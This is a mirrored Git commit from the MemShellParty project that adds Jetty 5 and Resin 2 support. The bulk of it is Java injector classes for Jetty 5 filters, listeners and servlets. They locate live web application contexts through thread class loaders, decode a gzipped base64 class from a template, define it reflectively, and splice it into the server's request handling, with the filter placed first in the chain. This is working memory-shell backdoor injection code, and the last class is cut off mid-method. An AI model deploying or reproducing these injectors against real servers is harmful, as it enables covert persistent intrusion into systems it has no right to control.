mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support resin2 and jetty5
This commit is contained in:
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
|
||||
public class Server {
|
||||
public static final String Tomcat = "Tomcat";
|
||||
public static final String Jetty = "Jetty";
|
||||
public static final String Jetty5 = "Jetty5";
|
||||
public static final String Undertow = "Undertow";
|
||||
public static final String JBoss = "JBoss";
|
||||
public static final String Resin = "Resin";
|
||||
public static final String Resin2 = "Resin2";
|
||||
public static final String WebLogic = "WebLogic";
|
||||
public static final String WebSphere = "WebSphere";
|
||||
public static final String GlassFish = "GlassFish";
|
||||
|
||||
@@ -33,9 +33,11 @@ public class ServerFactory {
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Jetty5, Jetty5::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.Resin2, Resin2::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
|
||||
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JETTY5 = "Jetty5";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String RESIN2 = "Resin2";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
|
||||
+297
@@ -0,0 +1,297 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object filterHolder = invokeMethod(
|
||||
webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
invokeMethod(
|
||||
webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
|
||||
moveLastPathFilterToFront(webApplicationHandler);
|
||||
clearChainCache(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private void moveLastPathFilterToFront(Object webApplicationHandler) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters != null && pathFilters.size() > 1) {
|
||||
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
|
||||
pathFilters.add(0, filterMapping);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+440
@@ -0,0 +1,440 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.EventListener;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ListenerInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ListenerInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (hasListener(context)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
try {
|
||||
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
|
||||
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
|
||||
}
|
||||
ensureJsr154Filter(webApplicationHandler);
|
||||
syncJsr154Filter(webApplicationHandler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
private boolean hasListener(Object context) throws Exception {
|
||||
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
|
||||
return true;
|
||||
}
|
||||
|
||||
Object webApplicationHandler = getWebApplicationHandler(context);
|
||||
return hasWebApplicationHandlerListener(webApplicationHandler);
|
||||
}
|
||||
|
||||
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
|
||||
return true;
|
||||
}
|
||||
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
|
||||
return true;
|
||||
}
|
||||
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
|
||||
}
|
||||
|
||||
private Object getFieldValueQuietly(Object obj, String name) {
|
||||
try {
|
||||
return getFieldValue(obj, name);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private boolean containsListener(Object listeners) {
|
||||
if (listeners == null) {
|
||||
return false;
|
||||
}
|
||||
if (listeners instanceof List) {
|
||||
List list = (List) listeners;
|
||||
for (int i = 0; i < list.size(); i++) {
|
||||
if (isInjectedListener(list.get(i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (listeners.getClass().isArray()) {
|
||||
int length = Array.getLength(listeners);
|
||||
for (int i = 0; i < length; i++) {
|
||||
if (isInjectedListener(Array.get(listeners, i))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
return isInjectedListener(listeners);
|
||||
}
|
||||
|
||||
private boolean isInjectedListener(Object listener) {
|
||||
return listener != null && listener.getClass().getName().contains(getClassName());
|
||||
}
|
||||
|
||||
private void ensureJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
|
||||
if (filterHolder == null) {
|
||||
filterHolder = invokeMethod(webApplicationHandler,
|
||||
"defineFilter",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
|
||||
}
|
||||
if (invokeMethod(filterHolder, "getFilter") == null) {
|
||||
invokeMethod(filterHolder, "start");
|
||||
}
|
||||
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
|
||||
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
|
||||
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
|
||||
try {
|
||||
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
|
||||
invokeMethod(webApplicationHandler,
|
||||
"addFilterPathMapping",
|
||||
new Class[]{String.class, String.class, int.class},
|
||||
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
|
||||
}
|
||||
movePathFilterToFront(webApplicationHandler, "jsr154");
|
||||
clearChainCache(webApplicationHandler);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void syncJsr154Filter(Object webApplicationHandler) {
|
||||
try {
|
||||
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
|
||||
if (jsr154Filter == null) {
|
||||
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
|
||||
if (jsr154FilterHolder != null) {
|
||||
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
|
||||
}
|
||||
}
|
||||
if (jsr154Filter == null) {
|
||||
return;
|
||||
}
|
||||
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
|
||||
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
|
||||
try {
|
||||
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
|
||||
if (pathFilters == null || pathFilters.size() < 2) {
|
||||
return;
|
||||
}
|
||||
for (int i = 0; i < pathFilters.size(); i++) {
|
||||
Object filterMapping = pathFilters.get(i);
|
||||
Object filterHolder = invokeMethod(filterMapping, "getHolder");
|
||||
String name = (String) invokeMethod(filterHolder, "getName");
|
||||
if (filterName.equals(name)) {
|
||||
pathFilters.remove(i);
|
||||
pathFilters.add(0, filterMapping);
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private void clearChainCache(Object webApplicationHandler) {
|
||||
clearCacheField(webApplicationHandler, "_chainCache");
|
||||
clearCacheField(webApplicationHandler, "_namedChainCache");
|
||||
}
|
||||
|
||||
private void clearCacheField(Object object, String name) {
|
||||
try {
|
||||
Object cache = getFieldValue(object, name);
|
||||
if (cache instanceof Map[]) {
|
||||
Map[] maps = (Map[]) cache;
|
||||
for (int i = 0; i < maps.length; i++) {
|
||||
if (maps[i] != null) {
|
||||
maps[i].clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
return;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+254
@@ -0,0 +1,254 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Jetty5ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
